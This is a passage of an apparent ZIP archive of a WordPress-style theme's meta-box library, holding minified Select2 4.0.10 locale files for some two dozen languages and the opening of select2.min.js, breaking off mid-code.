!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(n){return"Խնդրում ենք հեռացնել "+(n.input.length-n.maximum)+" նշան"},inputTooShort:function(n){return"Խնդրում ենք մուտքագրել "+(n.minimum-n.input.length)+" կամ ավել նշաններ"},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(n){return"Դուք կարող եք ընտրել առավելագույնը "+n.maximum+" կետ"},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"},removeAllItems:function(){return"Հեռացնել բոլոր տարրերը"}}}),n.define,n.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/el.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(n){var e=n.input.length-n.maximum,u="Παρακαλώ διαγράψτε "+e+" χαρακτήρ";return 1==e&&(u+="α"),1!=e&&(u+="ες"),u},inputTooShort:function(n){return"Παρακαλώ συμπληρώστε "+(n.minimum-n.input.length)+" ή περισσότερους χαρακτήρες"},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(n){var e="Μπορείτε να επιλέξετε μόνο "+n.maximum+" επιλογ";return 1==n.maximum&&(e+="ή"),1!=n.maximum&&(e+="ές"),e},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"},removeAllItems:function(){return"Καταργήστε όλα τα στοιχεία"}}}),n.define,n.require}();PK     N\rXm    0  inc/dashboard/lib/meta-box/js/select2/i18n/nl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){return"Gelieve "+(e.input.length-e.maximum)+" karakters te verwijderen"},inputTooShort:function(e){return"Gelieve "+(e.minimum-e.input.length)+" of meer karakters in te voeren"},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var n=1==e.maximum?"kan":"kunnen",r="Er "+n+" maar "+e.maximum+" item";return 1!=e.maximum&&(r+="s"),r+=" worden geselecteerd"},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"},removeAllItems:function(){return"Verwijder alle items"}}}),e.define,e.require}();PK     N\)zܰ    0  inc/dashboard/lib/meta-box/js/select2/i18n/pl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/pl",[],function(){var n=["znak","znaki","znaków"],e=["element","elementy","elementów"],r=function(n,e){return 1===n?e[0]:n>1&&n<=4?e[1]:n>=5?e[2]:void 0};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Usuń "+t+" "+r(t,n)},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Podaj przynajmniej "+t+" "+r(t,n)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(n){return"Możesz zaznaczyć tylko "+n.maximum+" "+r(n.maximum,e)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"},removeAllItems:function(){return"Usuń wszystkie przedmioty"}}}),n.define,n.require}();PK     N\!l  l  3  inc/dashboard/lib/meta-box/js/select2/i18n/pt-BR.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Apague "+n+" caracter";return 1!=n&&(r+="es"),r},inputTooShort:function(e){return"Digite "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var n="Você só pode selecionar "+e.maximum+" ite";return 1==e.maximum?n+="m":n+="ns",n},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}();PK     N\,b  b  0  inc/dashboard/lib/meta-box/js/select2/i18n/af.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Verwyders asseblief "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Voer asseblief "+(e.minimum-e.input.length)+" of meer karakters"},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var n="Kies asseblief net "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"},removeAllItems:function(){return"Verwyder alle items"}}}),e.define,e.require}();PK     N\^  ^  0  inc/dashboard/lib/meta-box/js/select2/i18n/ja.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(n){return n.input.length-n.maximum+" 文字を削除してください"},inputTooShort:function(n){return"少なくとも "+(n.minimum-n.input.length)+" 文字を入力してください"},loadingMore:function(){return"読み込み中…"},maximumSelected:function(n){return n.maximum+" 件しか選択できません"},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"},removeAllItems:function(){return"すべてのアイテムを削除"}}}),n.define,n.require}();PK     N\n3    0  inc/dashboard/lib/meta-box/js/select2/i18n/ru.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ru",[],function(){function n(n,e,r,u){return n%10<5&&n%10>0&&n%100<5||n%100>20?n%10>1?r:e:u}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Пожалуйста, введите на "+r+" символ";return u+=n(r,"","a","ов"),u+=" меньше"},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Пожалуйста, введите ещё хотя бы "+r+" символ";return u+=n(r,"","a","ов")},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(e){var r="Вы можете выбрать не более "+e.maximum+" элемент";return r+=n(e.maximum,"","a","ов")},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"},removeAllItems:function(){return"Удалить все элементы"}}}),n.define,n.require}();PK     N\%ʻ    0  inc/dashboard/lib/meta-box/js/select2/i18n/lv.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/lv",[],function(){function e(e,n,u,i){return 11===e?n:e%10==1?u:i}return{inputTooLong:function(n){var u=n.input.length-n.maximum,i="Lūdzu ievadiet par  "+u;return(i+=" simbol"+e(u,"iem","u","iem"))+" mazāk"},inputTooShort:function(n){var u=n.minimum-n.input.length,i="Lūdzu ievadiet vēl "+u;return i+=" simbol"+e(u,"us","u","us")},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(n){var u="Jūs varat izvēlēties ne vairāk kā "+n.maximum;return u+=" element"+e(n.maximum,"us","u","us")},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"},removeAllItems:function(){return"Noņemt visus vienumus"}}}),e.define,e.require}();PK     N\ͱ    0  inc/dashboard/lib/meta-box/js/select2/i18n/gl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var n=e.input.length-e.maximum;return 1===n?"Elimine un carácter":"Elimine "+n+" caracteres"},inputTooShort:function(e){var n=e.minimum-e.input.length;return 1===n?"Engada un carácter":"Engada "+n+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return 1===e.maximum?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Elimina todos os elementos"}}}),e.define,e.require}();PK     N\/Hkd  d  0  inc/dashboard/lib/meta-box/js/select2/i18n/eu.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gutxiago"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gehiago"},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return 1===e.maximum?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"},removeAllItems:function(){return"Kendu elementu guztiak"}}}),e.define,e.require}();PK     N\W    0  inc/dashboard/lib/meta-box/js/select2/i18n/mk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/mk",[],function(){return{inputTooLong:function(n){var e=(n.input.length,n.maximum,"Ве молиме внесете "+n.maximum+" помалку карактер");return 1!==n.maximum&&(e+="и"),e},inputTooShort:function(n){var e=(n.minimum,n.input.length,"Ве молиме внесете уште "+n.maximum+" карактер");return 1!==n.maximum&&(e+="и"),e},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(n){var e="Можете да изберете само "+n.maximum+" ставк";return 1===n.maximum?e+="а":e+="и",e},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"},removeAllItems:function(){return"Отстрани ги сите предмети"}}}),n.define,n.require}();PK     N\@  @  0  inc/dashboard/lib/meta-box/js/select2/i18n/km.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(n){return"សូមលុបចេញ  "+(n.input.length-n.maximum)+" អក្សរ"},inputTooShort:function(n){return"សូមបញ្ចូល"+(n.minimum-n.input.length)+" អក្សរ រឺ ច្រើនជាងនេះ"},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(n){return"អ្នកអាចជ្រើសរើសបានតែ "+n.maximum+" ជម្រើសប៉ុណ្ណោះ"},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."},removeAllItems:function(){return"លុបធាតុទាំងអស់"}}}),n.define,n.require}();PK     N\h֒!  !  0  inc/dashboard/lib/meta-box/js/select2/i18n/et.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var n=e.input.length-e.maximum,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" vähem"},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" rohkem"},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var n="Saad vaid "+e.maximum+" tulemus";return 1==e.maximum?n+="e":n+="t",n+=" valida"},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"},removeAllItems:function(){return"Eemalda kõik esemed"}}}),e.define,e.require}();PK     N\     0  inc/dashboard/lib/meta-box/js/select2/i18n/fa.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(n){return"لطفاً "+(n.input.length-n.maximum)+" کاراکتر را حذف نمایید"},inputTooShort:function(n){return"لطفاً تعداد "+(n.minimum-n.input.length)+" کاراکتر یا بیشتر وارد نمایید"},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(n){return"شما تنها می‌توانید "+n.maximum+" آیتم را انتخاب نمایید"},noResults:function(){return"هیچ نتیجه‌ای یافت نشد"},searching:function(){return"در حال جستجو..."},removeAllItems:function(){return"همه موارد را حذف کنید"}}}),n.define,n.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/es.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Por favor, elimine "+n+" car";return r+=1==n?"ácter":"acteres"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Por favor, introduzca "+n+" car";return r+=1==n?"ácter":"acteres"},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var n="Sólo puede seleccionar "+e.maximum+" elemento";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Eliminar todos los elementos"}}}),e.define,e.require}();PK     N\آ    0  inc/dashboard/lib/meta-box/js/select2/i18n/cs.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/cs",[],function(){function e(e,n){switch(e){case 2:return n?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadejte o jeden znak méně.":t<=4?"Prosím, zadejte o "+e(t,!0)+" znaky méně.":"Prosím, zadejte o "+t+" znaků méně."},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadejte ještě jeden znak.":t<=4?"Prosím, zadejte ještě další "+e(t,!0)+" znaky.":"Prosím, zadejte ještě dalších "+t+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(n){var t=n.maximum;return 1==t?"Můžete zvolit jen jednu položku.":t<=4?"Můžete zvolit maximálně "+e(t,!1)+" položky.":"Můžete zvolit maximálně "+t+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"},removeAllItems:function(){return"Odstraňte všechny položky"}}}),e.define,e.require}();PK     N\L n    0  inc/dashboard/lib/meta-box/js/select2/i18n/ro.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return 1!==t&&(n+="e"),n},inputTooShort:function(e){return"Vă rugăm să introduceți "+(e.minimum-e.input.length)+" sau mai multe caractere"},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",1!==e.maximum&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"},removeAllItems:function(){return"Eliminați toate elementele"}}}),e.define,e.require}();PK     N\4      0  inc/dashboard/lib/meta-box/js/select2/i18n/id.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(n){return"Hapuskan "+(n.input.length-n.maximum)+" huruf"},inputTooShort:function(n){return"Masukkan "+(n.minimum-n.input.length)+" huruf lagi"},loadingMore:function(){return"Mengambil data…"},maximumSelected:function(n){return"Anda hanya dapat memilih "+n.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Hapus semua item"}}}),n.define,n.require}();PK     N\;qW    0  inc/dashboard/lib/meta-box/js/select2/i18n/hi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(n){var e=n.input.length-n.maximum,r=e+" अक्षर को हटा दें";return e>1&&(r=e+" अक्षरों को हटा दें "),r},inputTooShort:function(n){return"कृपया "+(n.minimum-n.input.length)+" या अधिक अक्षर दर्ज करें"},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(n){return"आप केवल "+n.maximum+" आइटम का चयन कर सकते हैं"},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."},removeAllItems:function(){return"सभी वस्तुओं को हटा दें"}}}),n.define,n.require}();PK     N\&{K    0  inc/dashboard/lib/meta-box/js/select2/i18n/it.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Per favore cancella "+n+" caratter";return t+=1!==n?"i":"e"},inputTooShort:function(e){return"Per favore inserisci "+(e.minimum-e.input.length)+" o più caratteri"},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var n="Puoi selezionare solo "+e.maximum+" element";return 1!==e.maximum?n+="i":n+="o",n},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"},removeAllItems:function(){return"Rimuovi tutti gli oggetti"}}}),e.define,e.require}();PK     N\@    0  inc/dashboard/lib/meta-box/js/select2/i18n/ar.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(n){return"الرجاء حذف "+(n.input.length-n.maximum)+" عناصر"},inputTooShort:function(n){return"الرجاء إضافة "+(n.minimum-n.input.length)+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(n){return"تستطيع إختيار "+n.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"},removeAllItems:function(){return"قم بإزالة كل العناصر"}}}),n.define,n.require}();PK     N\K~    0  inc/dashboard/lib/meta-box/js/select2/i18n/ca.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Si us plau, elimina "+n+" car";return r+=1==n?"àcter":"àcters"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Si us plau, introdueix "+n+" car";return r+=1==n?"àcter":"àcters"},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var n="Només es pot seleccionar "+e.maximum+" element";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"},removeAllItems:function(){return"Treu tots els elements"}}}),e.define,e.require}();PK     N\u-͎  4  inc/dashboard/lib/meta-box/js/select2/select2.min.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(u){var e=function(){if(u&&u.fn&&u.fn.select2&&u.fn.select2.amd)var e=u.fn.select2.amd;var t,n,r,h,o,s,f,g,m,v,y,_,i,a,w;function b(e,t){return i.call(e,t)}function l(e,t){var n,r,i,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(r=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(i=(i=f[h.slice(0,d).join("/")])&&i[r]){o=i,a=u;break}if(o)break;!l&&g&&g[r]&&(l=g[r],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(b(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!b(m,e)&&!b(_,e))throw new Error("No "+e);return m[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?c(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},i=Object.prototype.hasOwnProperty,a=[].slice,w=/\.js$/,f=function(e,t){var n,r=c(e),i=r[0],o=t[1];return e=r[1],i&&(n=D(i=l(i,o))),i?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return l(e,t)}}(o)):l(e,o):(i=(r=c(e=l(e,o)))[0],e=r[1],i&&(n=D(i))),{f:i?i+"!"+e:e,n:e,pr:i,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,r){var i,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(r=r||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)i=d[l]=g.module(e);else if(b(m,o)||b(v,o)||b(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(r,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(i&&i.exports!==h&&i.exports!==m[e]?m[e]=i.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,r,i){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=r,r=i),r?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(r=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),b(m,e)||b(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=r),e.define("almond",function(){}),e.define("jquery",[],function(){var e=u||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var i={};function u(e){var t=e.prototype,n=[];for(var r in t){"function"==typeof t[r]&&"constructor"!==r&&n.push(r)}return n}i.Extend=function(e,t){var n={}.hasOwnProperty;function r(){this.constructor=e}for(var i in t)n.call(t,i)&&(e[i]=t[i]);return r.prototype=t.prototype,e.prototype=new r,e.__super__=t.prototype,e},i.Decorate=function(r,i){var e=u(i),t=u(r);function o(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=r.prototype.constructor;0<t&&(e.call(arguments,r.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=r.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=r.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,r=e.length;n<r;n++)e[n].apply(this,t)},i.Observable=e,i.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},i.bind=function(e,t){return function(){e.apply(t,arguments)}},i._convertData=function(e){for(var t in e){var n=t.split("-"),r=e;if(1!==n.length){for(var i=0;i<n.length;i++){var o=n[i];(o=o.substring(0,1).toLowerCase()+o.substring(1))in r||(r[o]={}),i==n.length-1&&(r[o]=e[t]),r=r[o]}delete e[t]}}return e},i.hasScroll=function(e,t){var n=o(t),r=t.style.overflowX,i=t.style.overflowY;return(r!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===r||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},i.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},i.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},i.__cache={};var n=0;return i.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},i.StoreData=function(e,t,n){var r=i.GetUniqueElementId(e);i.__cache[r]||(i.__cache[r]={}),i.__cache[r][t]=n},i.GetData=function(e,t){var n=i.GetUniqueElementId(e);return t?i.__cache[n]&&null!=i.__cache[n][t]?i.__cache[n][t]:o(e).data(t):i.__cache[n]},i.RemoveData=function(e){var t=i.GetUniqueElementId(e);null!=i.__cache[t]&&delete i.__cache[t],e.removeAttribute("data-select2-id")},i}),e.define("select2/results",["jquery","./utils"],function(h,f){function r(e,t,n){this.$element=e,this.data=n,this.options=t,r.__super__.constructor.call(this)}return f.Extend(r,f.Observable),r.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return 